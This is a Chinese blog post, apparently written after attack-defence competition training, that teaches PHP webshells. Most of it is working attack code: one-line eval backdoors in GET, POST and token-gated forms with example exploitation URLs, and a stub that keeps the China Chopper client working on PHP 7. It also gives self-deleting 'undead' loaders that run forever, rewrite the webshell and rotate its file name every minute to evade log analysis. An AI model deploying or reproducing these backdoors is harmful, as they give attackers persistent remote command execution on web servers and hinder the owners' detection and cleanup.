php木马

php木马

最近参加了一次网络攻防大赛的培训。学到了不少知识,挺好的。

php的一句话木马

<?php
// 这是一个GET版本的木马
// 用法是 http://domain/cmdget.php?cmd=phpinfo();exit();
    @eval($_GET['cmd']);
?>

上面这一句话就是一个php的木马。当然,木马的前提是要将这个php文件上传到你的web服务器中,并且可通过url访问才行。有很多web漏洞可能导致被上传木马,包括上传文件漏洞、sql漏洞等等。

解释一下上面这一句话:

@符号,是php的错误控制符,放在任何表达式之前,该表达式可能产生的任何错误信息都被忽略掉。可以放可不放。

eval(code_str), eval函数把字符串参数code_str当作php代码来解析执行。

$_GET['cmd']就很好解释了,就是获取url中的cmd查询字符串。

所以合起来的意思就是执行用户在url查询字符串cmd输入的语句。这个语句可以是任意合法的php语句。phpinfo(),exit()(加exit是因为有时候这一句话木马是注入到别的php文件里面的,为防止该文件的其他php语句打乱输出结果,直接执行完想要的命令就终止运行。)还有一个很重要的php语句system(cmd),可以执行系统指令,并输出结果。

所以,实用http://domain/cmdget.php?cmd=system("ls -tl");exit();就能得到在web服务器ls -tl命令同样的结果。这样就叫getShell了。

<?php 
    // post版的一句话木马
    eval($_POST['cmd']);
 ?>
<?php
// 这是一个GET版本的木马,token=ca@C
// 所以这个木马的用法是 http://domain/cmdget.php?token=ca@C&cmd=phpinfo();exit();

if (md5($_GET['token']) === '918dac51dfad24f0b5698723d1371e73') {
    eval($_GET['cmd']);
}
echo "hello,world";
?>

由于菜刀工具会调用php7中已经剔除的函数set_magic_quotes_runtime,所以如果将上面的木马放在php7服务器上用菜刀连接的话,会报500内部错误。为了绕开这个错误,可以简单的在木马脚本上伪造一个set_magic_quotes_runtime函数。

<?php
// 这是一个POST版本的木马,token=ca@C

if (!function_exists('set_magic_quotes_runtime')) {
    // php7中不再有set_magic_quotes_runtime方法了,而菜刀工具扫描时会调用该方法,这就可能出错。
    function set_magic_quotes_runtime($new_setting) {
        return true;
    }
}

if (md5($_POST['token']) === '918dac51dfad24f0b5698723d1371e73') {
    @eval($_POST['cmd']);
}
echo "hello,world";
?>

 

不死马

所谓的不死马,就是先上传一个“木马生成器”,然后通过url访问一次该木马生成器,使其常驻内存并保证木马文件存在。

<?php
// 木马文件
$webshell_filename = 'trojan.php';
// 木马token
$webshell_token = '1234';
// 木马内容
$webshell_content = '<?php
if (md5($_GET["token"])==="'.md5($webshell_token).'") {
    eval($_GET["cmd"]);
}
echo "hello,world.";
?>
';
// 木马内容校验码
$webshell_content_md5 = md5($webshell_content);

// 其实现在想想,没必要做token加密,因为即使对方不能从fuck.php中看出token值来,
// 也可以去找服务器日志,查找这个攻击的url,里面不就带着token了吗。

// 删除自身
unlink($_SERVER['SCRIPT_FILENAME']);

// 忽略客户端退出
ignore_user_abort(true);

// 设置运行时间无限制
set_time_limit(0);

// 常驻内存无限循环
while(true){
    if (file_exists($webshell_filename) && md5(file_get_contents($webshell_filename)) == $webshell_content_md5) {
        // 如果已经存在webshell文件,则休眠一小会
        sleep(1);
    }
    else {
        // 否则重新写入webshell
        file_put_contents($webshell_filename, $webshell_content);
    }
}
?>

ps:其实后面想想,在木马中加入token其实是没啥鸟用的。因为我们访问木马文件时候,token值是在url中明文发送过去的,如果对方有流量日志,那么直接就能看到我们的token。那么就能复用我们的木马脚本来攻击其他被种马的服务器,窃取我们的“劳动果实”。

要想让被种马的无法流量分析来盗用我们的不死马,有一个简单的方法就是每隔一小段时间(1分钟或更短)变换木马文件名,在对方分析出木马文件之前,旧的文件名已经失效了。

随机变换不死马文件名

<?php
// 新的不死马
// 如果不死马fuck_xxxxx.php写入成功
// 访问fuck_xxxxx.php, 会打印2333
// 访问fuck_xxxxx.php?cmd=phpinfo();即可执行命令
// 文件名后缀xxxxx的生成规则如下:
//     md5(年月日时分+盐)取中间五位。
//     还可以更进一步md5(年月日时分+盐+目标ip)取中间五位。这样,每台被种马的服务器上的木马文件名都不一样。

$webshell_content = '<?php eval($_GET[cmd]); echo 2333;?>';
$webshell_content_md5 = md5($webshell_content);
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$old_filename = '';
while(true){
    $webshell_filename = 'fuck_'.substr(md5(date('YmdHi').'Ewiniar'), 1, 5).'.php';
    if ($old_filename!==$webshell_filename && $old_filename!=='') {
        unlink($old_filename);
    }
    if (file_exists($webshell_filename) && md5(file_get_contents($webshell_filename)) == $webshell_content_md5) {
        usleep(300000);
    }
    else {
        file_put_contents($webshell_filename, $webshell_content);
        $old_filename = $webshell_filename;
    }
}
?>

 

 

 

Leave a Reply

Your email address will not be published. Required fields are marked *

TOC